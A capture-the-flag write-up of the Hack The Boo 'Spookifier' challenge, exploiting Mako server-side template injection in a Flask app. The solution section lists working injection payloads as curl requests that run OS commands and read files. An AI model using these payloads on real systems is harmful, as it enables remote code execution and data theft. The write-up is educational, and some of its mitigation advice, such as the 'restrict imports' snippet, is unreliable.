2022 Hack The Boo: Spookifier
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2022 Hack The Boo |
| Category | Web |
| Challenge | Spookifier |
Summary
This Flask application implements a text transformation tool that converts text to “spooky” Unicode fonts using the Mako template engine. The vulnerability lies in the generate_render() function, which uses Mako’s Template().render() to process user-controlled input without escaping. By injecting Mako template syntax (expressions and code blocks), an attacker can achieve remote code execution and retrieve the flag.
Analysis
Application Overview
The application provides:
- A web interface to enter text
- A
spookify()function that converts text to multiple spooky fonts - A
generate_render()function that creates an HTML table with the converted fonts
Vulnerable Code
Located in /challenge/application/util.py:
def generate_render(converted_fonts): result = ''' <tr> <td>{0}</td> </tr>
<tr> <td>{1}</td> </tr>
<tr> <td>{2}</td> </tr>
<tr> <td>{3}</td> </tr>
'''.format(*converted_fonts)
return Template(result).render()
def spookify(text): converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)The Vulnerability: The converted_fonts list is passed to .format() which creates an HTML string, then that entire string is passed to Template(result).render() without sanitization. If any of the converted fonts contain Mako template syntax, it will be interpreted and executed.
Root Cause Analysis
The change_font() function transforms input text using font dictionaries:
def change_font(text_list): text_list = [*text_list] current_font = [] all_fonts = []
add_font_to_list = lambda text,font_type : ( [current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear() ) and None
add_font_to_list(text_list, 'font1') add_font_to_list(text_list, 'font2') add_font_to_list(text_list, 'font3') add_font_to_list(text_list, 'font4')
return all_fontsThe font4 dictionary maps characters to themselves:
font4 = { 'A': 'A', 'B': 'B', # ... all characters unchanged ... '(': '(', ')': ')', '{': '{', '}': '}', # ... etc ...}Insight: Characters like $, {, }, (, ), and $ are preserved in font4. This means if we input text containing Mako template syntax, it will remain intact through the font transformation and be evaluated by the template engine.
Mako Template Syntax
Mako uses these syntax patterns:
${}or${expression}- Expression evaluation<%...%>- Code blocks<%def>- Function definitions<% import os %>- Import statements
The vulnerability allows injecting any of these.
Request Flow
- User sends GET request to
/withtextparameter spookify(text)is called from the route handlerchange_font()transforms text through font dictionariesgenerate_render(converted_fonts)formats the result stringTemplate(result).render()executes the string as a Mako template- The rendered HTML is returned to the user
Route Handler
From /challenge/application/blueprints/routes.py:
@web.route('/')def index(): text = request.args.get('text') if(text): converted = spookify(text) return render_template('index.html', output=converted)
return render_template('index.html', output='')The text parameter is user-controlled and passed directly to spookify().
Solution
Exploitation Steps
Step 1: Verify the Vulnerability
Send a simple test:
curl "http://target/?text=test"This should show spooky fonts. No injection occurs yet.
Step 2: Inject Mako Expression
Mako expressions are evaluated using ${} syntax:
curl "http://target/?text=\${7*7}"If vulnerable, the page will contain 49 instead of spooky fonts.
Step 3: Exploit for Code Execution
Use Mako’s ability to execute Python code through expressions:
curl "http://target/?text=\${__import__('os').system('id')}"Or use a code block:
curl "http://target/?text=<% import os; os.system('cat /flag.txt') %>"Step 4: Retrieve the Flag
Since we need output, use:
curl "http://target/?text=\${open('/flag.txt').read()}"This will:
- Execute Python’s
open()function - Read the flag file
- Return its contents in the page
Step 5: Payload Construction
For URL encoding, inject:
${__import__('os').popen('cat /flag.txt').read()}URL encoded:
%24%7B__import__('os').popen('cat%20/flag.txt').read()%7DFull request:
curl "http://target/?text=%24%7B__import__('os').popen('cat%20/flag.txt').read()%7D"Step 6: Alternative Payloads
If open() is restricted, use other approaches:
Mako import statement:
<% import os; result = os.popen('cat /flag.txt').read() %>${ result }File operations:
${().__class__.__bases__[0].__subclasses__()[104].__init__.__globals__['_']['file']('/flag.txt').read()}Simpler approach - direct execution:
<%import osflag = os.popen('cat /flag.txt').read()%>${ flag }Step 7: Response Analysis
The flag will be rendered in the HTML response within the table cells. The output might look like:
<tr> <td>HTB{spooky_template_injection_flag}</td></tr>Key Takeaways
- Never render user input as template code - Always escape and sanitize template variables
- Use safe modes - Mako has strict mode options to disable dangerous operations
- Separate data from code - Never mix user-controlled data with template syntax
- Input validation - Whitelist allowed characters (alphanumeric only if possible)
- Template autoescape - While this app uses Mako, Flask’s Jinja2 has
autoescape=Truewhich doesn’t help here since the injection is at the template syntax level, not HTML context - Use template sandboxing - Mako offers restricted/sandbox execution modes:
template = Template(result, imports=['os']) # Restrict imports
- Code review - Template injection is often missed in security reviews because template engines are trusted
- Content Security Policy (CSP) - Won’t help with server-side execution but can mitigate client-side risks
- Monitor template processing - Log and alert on suspicious template operations
Defensive Coding Example
def generate_render_safe(converted_fonts): # Don't use Template.render() on user-influenced strings result = '<table><tr>' for font in converted_fonts: # Use literal strings, not template processing result += f'<td>{escape(font)}</td>' result += '</tr></table>' return result